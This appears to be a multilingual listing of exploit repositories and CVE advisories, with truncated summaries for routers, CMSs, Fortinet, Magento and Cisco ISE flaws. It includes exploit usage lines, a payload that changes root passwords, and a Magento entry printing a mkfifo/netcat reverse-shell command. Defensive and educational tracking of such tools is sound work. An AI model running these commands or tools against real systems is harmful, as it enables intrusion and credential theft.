SimpleCTF-UpdatedExploit

CMS Made Simple -c -w パラメータ -u, --url: 対象のCMS Made SimpleインスタンスのベースURL（例: http://example.com/cms）。 -c, --crack: 任意。指定されたワードリストを使用して管理者パスワードのクラックを試みます。 -w, --wordlist: 任意。パスワードクラック用のワードリストへのパス。 例 例1: パスワードクラックなしで情報を抽出 python3 updated46635.py -u http://example.com/cms 例2: 情報を抽出してパスワードを...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 ツール概要 CVE-2022-40684 に対する迅速なエクスプロイトツールです。初心者向けのコードで、問題があれば issus を提出してください。 使用方法 main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub 免責事項 本ツールは、合法的に認可された企業セキュリティ構築活動（例：企業内の攻防演習、脆弱性検証、再テスト）のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身でターゲット環境を構築してください。...

Emlog 2.1.9 - SQL Injection

emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files. id: CVE-2023-39121 info: name: Emlog 2.1.9 - SQL Injection author: wjch611 severity: high description: |...

Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48164 info: name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information...

Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure

An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48166 info: name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure author: ritikchaddha...

CVE-2018-14772

CVE-2018-14772 情報 これは、pydio ファイル共有プラットフォームで発見した脆弱性 CVE-2018-14772 の PoC リモートコード実行エクスプロイトです。動作には pydio アプリケーションの管理者資格情報が必要です。以下のようにエクスプロイトを実行できます: 使用方法 $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload PAYLOAD exploit some pydio...

Tenda-F3-V4

Tenda F3 라우터 익스플로잇 및 파일 다운로더 이 프로젝트는 인증되지 않은 취약점CVE-2020-35391을 통해 Tenda F3 라우터v3/v4에서 다양한 파일을 다운로드하는 도구입니다. 취약한 라우터에서 구성 파일, 시스템 로그 및 플래시 덤프를 가져올 수 있습니다. 개요 이 스크립트는 Tenda F3 라우터에서 발견된 취약점을 악용하여 공격자가 인증 없이 민감한 파일을 다운로드할 수 있게 합니다. 구체적으로 다음 파일을 다운로드할 수 있습니다 비밀번호 변경 기능을 추가하는 중입니다: RouterCfm.cfg 구성 파...

CVE-2026-3055-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-3055 スキャナー - NetScaler メモリ過剰読み取り検出ツール ⚠️ 警告 このツールは教育目的および許可されたテスト専用です。所有者の明示的な許可なくシステムで使用しないでください。 📋 説明 CVE-2026-3055 用の検出ツールで、memory overread に対して脆弱な Citrix NetScaler ADC および Gateway デバイスを識別します。単一ホスト、ネットワーク、またはホストリストによるスキャンを実行し、エンドポイント /wsfed/passive?wctx でのメモリリークを検出し、管理セッション ID...

CVE-2026-1459-POC

CVE-2026-1459-POC CVE-2026-1459のPOCです。このペイロードはrootのSSHパスワードを変更します。 有効な管理者資格情報が必要です。rootパスワードを一時的に変更し、再起動するとrootパスワードはリセットされます。 VMG3625-T50Bおよび類似モデルで動作し、ファームウェアV5.50ABPM.9.7C0以前で動作が保証されています。...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 脆弱性の詳細 HackTheBox - SwagShop で確認された脆弱性 ステージ1 = exploit.py Magento CMS ダッシュボードへの管理者認証情報を取得する ステージ2 = postauth.py exploit.py から取得した認証情報を postauth.py に追加して実行: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc...

CVE-2026-88808

A vulnerability has been identified within Rancher Manager where the Fleet agent wrote resources to downstream clusters using its own cluster-admin credentials instead of the ServiceAccount pinned to the deployment. It affects multi-tenancy environments where different tenants share the same...

CVE-2021-22911-rust

CVE-2021-22911 이 CVE에 대한 Rust로 작성된 개념 증명PoC입니다. TryHackMe 학습 플랫폼의 CTF 부트 투 룻boot to root인 https://tryhackme.com/room/rocket의 일부로 사용됩니다. 사용하려면 main.rs의 상수를 업데이트하고 실행하면 바로 작동합니다. 관리자 이메일 주소와 사용자 이름이 필요하며, MFA가 활성화되어 있지 않아야 합니다. https://www.exploit-db.com/exploits/49960 기반, MFA가 활성화되어 있어야 하는 Python...

PT-2026-99921

Name of the Vulnerable Software and Affected Versions SUSE Rancher Fleet versions 0.16 through 0.16.1 SUSE Rancher Fleet versions 0.15 through 0.15.6 SUSE Rancher Fleet versions 0.14 through 0.14.10 Description An issue exists in Rancher Manager where the Fleet agent utilizes its own cluster-admi...

CVE-2024-3400

CVE-2024-3400 PoC 教育目的のみです。テストする許可を得たサーバーでのみ使用してください。 使い方 依存関係： $ pip install rich targets.txt をスキャン： $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking https://hostname/global-protect/portal/js/jquery.ir2qgg4yi5.js... ...

CVE-2022-3552

CVE-2022-3552 BoxBlilling の脆弱性を悪用するには、バージョンが "BoxBilling=4.22.1.5" であり、かつ 有効な管理画面の認証情報 を保持している必要があります。 上記の条件を満たしている場合、RCE を取得するための手順は以下の通りです。 Python 仮想環境を作成する Linux python3 -m venv .venv source .venv/bin/activate 次に、この pwntools ライブラリをインストールします。 pip3 install pwntools...

CVE-2023-23752

CVE-2023-23752 概要 このエクスプロイトは管理者のユーザー名とパスワードを漏洩する認証バイパスであり、さらにMySQL設定のユーザー名、パスワード、ホスト、データベースを漏洩します。 脆弱なバージョン 4.00 〜 4.28 使い方 usage: exploit.sh -h -u URL -t TARGETS CVE-2023-23752 - Authentication Bypass Information Leak on Joomla! options: -h, --help show this help message and exit -u URL, --url U...

CVE-2026-76448

A vulnerability in Cisco Identity Services Engine ISE and Cisco ISE Passive Identity Connector ISE-PIC could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the...

CVE-2026-76425

A vulnerability in the APIs of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks against the backend database. This vulnerability is due to insufficient validation of certain parameters that are concatenated directly into an SQL query. An attacker could...

CVE-2026-76426

A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct SQL injection attacks against the monitoring database. This vulnerability is due to insufficient validation of specific parameters that are then concatenated into an SQL...

CVE-2026-20235

A vulnerability in the API of Cisco Identity Services Engine ISE could allow an authenticated, remote attacker to view sensitive information on an affected device. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to insufficient...